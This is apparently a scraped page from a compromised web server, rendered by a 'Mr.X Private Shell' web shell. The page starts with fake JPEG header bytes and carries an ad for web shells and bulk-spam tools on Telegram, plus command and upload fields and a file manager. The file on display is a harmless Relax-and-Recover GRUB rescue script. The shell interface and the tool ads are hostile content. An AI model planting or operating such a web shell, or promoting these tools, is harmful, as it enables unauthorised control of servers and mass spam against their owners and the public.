����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# 940_grub_rescue.sh
# This file is part of Relax-and-Recover, licensed under the GNU General
# Public License. Refer to the included COPYING for full text of license.

### Add the rescue kernel and initrd to the local GRUB Legacy
###

# With EFI_STUB enabled there will be no Grub entry.
is_true "$EFI_STUB" && return 0

# Only do it when explicitly enabled:
is_true "$GRUB_RESCUE" || return 0

### Only do when system has GRUB Legacy
[[ $(type -p grub-probe) || $(type -p grub2-probe) ]] && return

grub_binary=$(get_path grub)
if [[ -z "$grub_binary" ]]; then
    Log "Could not find grub (legacy) binary."
    return
fi

# Use strings because "grub --version" would sync all disks
# cf. the get_version function in lib/layout-functions.sh
grub_version=$(strings $grub_binary | sed -rn 's/^[^0-9\.]*([0-9]+\.[-0-9a-z\.]+).*$/\1/p' | tail -n 1)
if version_newer "$grub_version" 1.0; then
    # only for grub-legacy we make special ReaR boot entry in menu.lst
    return
fi

test -r "$KERNEL_FILE" || Error "Failed to find kernel '$KERNEL_FILE', updating GRUB failed."

test -r "$TMP_DIR/$REAR_INITRD_FILENAME" || Error "Failed to find initrd '$REAR_INITRD_FILENAME', updating GRUB failed."

function total_filesize {
    stat --format '%s' "$@" 2>/dev/null | awk 'BEGIN { t=0 } { t+=$1 } END { print t }'
}

available_space=$(df -Pkl /boot | awk 'END { print $4 * 1024 }')
used_space=$(total_filesize /boot/rear-kernel /boot/rear-$REAR_INITRD_FILENAME)
required_space=$(total_filesize $KERNEL_FILE $TMP_DIR/$REAR_INITRD_FILENAME)

if (( available_space + used_space < required_space )) ; then
    required_MiB=$(( required_space / 1024 / 1024 ))
    available_MiB=$(( ( available_space + used_space ) / 1024 / 1024 ))
    Error "Not enough disk space available in /boot for GRUB rescue image. Required: $required_MiB MiB. Available: $available_MiB MiB."
fi

if is_true $USING_UEFI_BOOTLOADER ; then
    # set to 1 means using UEFI
    # SLES uses elilo instead of grub-efi; we will return if that is the case (and do not add a ReaR rescue entry)
    [[ "${UEFI_BOOTLOADER##*/}" = "elilo.efi" ]] && return
    grub_conf="`dirname $UEFI_BOOTLOADER`/grub.conf"
else
    grub_conf=$(readlink -f /boot/grub/menu.lst)
fi
[[ -w "$grub_conf" ]]
StopIfError "GRUB configuration cannot be modified."

if [[ "${GRUB_RESCUE_PASSWORD:0:3}" == '$1$' ]]; then
    GRUB_RESCUE_PASSWORD="--md5 $GRUB_RESCUE_PASSWORD"
fi

awk -f- $grub_conf >$TMP_DIR/menu.lst <<EOF
/^title Relax-and-Recover/ {
    ISREAR=1
    next
}

/^title / {
    ISREAR=0
}

{
    if (ISREAR) {
        next
    }
    print
}

END {
    print "title Relax-and-Recover"
    print "\tpassword $GRUB_RESCUE_PASSWORD"
    print "\tkernel /rear-kernel $KERNEL_CMDLINE"
    print "\tinitrd /rear-$REAR_INITRD_FILENAME"
}
EOF

[[ -s $grub_conf ]]
BugIfError "Modified GRUB is empty !"

if ! diff -u $grub_conf $TMP_DIR/menu.lst >&2; then
    LogPrint "Modifying local GRUB configuration"
    cp -af $v $grub_conf $grub_conf.old >&2
    cat $TMP_DIR/menu.lst >$grub_conf
fi

if [[ $(stat -L -c '%d' $KERNEL_FILE) == $(stat -L -c '%d' /boot/) ]]; then
    # Hardlink file, if possible
    cp -pLlf $v $KERNEL_FILE /boot/rear-kernel || BugError "Failed to hardlink '$KERNEL_FILE' to /boot/rear-kernel"
elif [[ $(stat -L -c '%s %Y' $KERNEL_FILE) == $(stat -L -c '%s %Y' /boot/rear-kernel 2>/dev/null) ]]; then
    # If existing file has exact same size and modification time, assume the same
    :
else
    # In all other cases, replace
    cp -pLf $v $KERNEL_FILE /boot/rear-kernel || BugError "Failed to copy '$KERNEL_FILE' to /boot/rear-kernel"
fi

cp -af $v $TMP_DIR/$REAR_INITRD_FILENAME /boot/rear-$REAR_INITRD_FILENAME || BugError "Failed to copy '$TMP_DIR/$REAR_INITRD_FILENAME' to '/boot/rear-$REAR_INITRD_FILENAME'"


Filemanager

Name Type Size Permission Actions
010_set_umask.sh File 303 B 0644
100_mount_output_path.sh File 189 B 0644
150_save_copy_of_prefix_dir.sh File 967 B 0644
200_make_boot_dir.sh File 144 B 0644
200_make_prefix_dir.sh File 1.03 KB 0644
250_create_lock.sh File 614 B 0644
400_copy_disk_struct_files.sh File 772 B 0644
940_grub2_rescue.sh File 16.33 KB 0644
940_grub_rescue.sh File 3.68 KB 0644
950_copy_result_files.sh File 8.82 KB 0644
950_email_result_files.sh File 1.4 KB 0644
970_remove_lock.sh File 452 B 0644
980_umount_output_dir.sh File 200 B 0644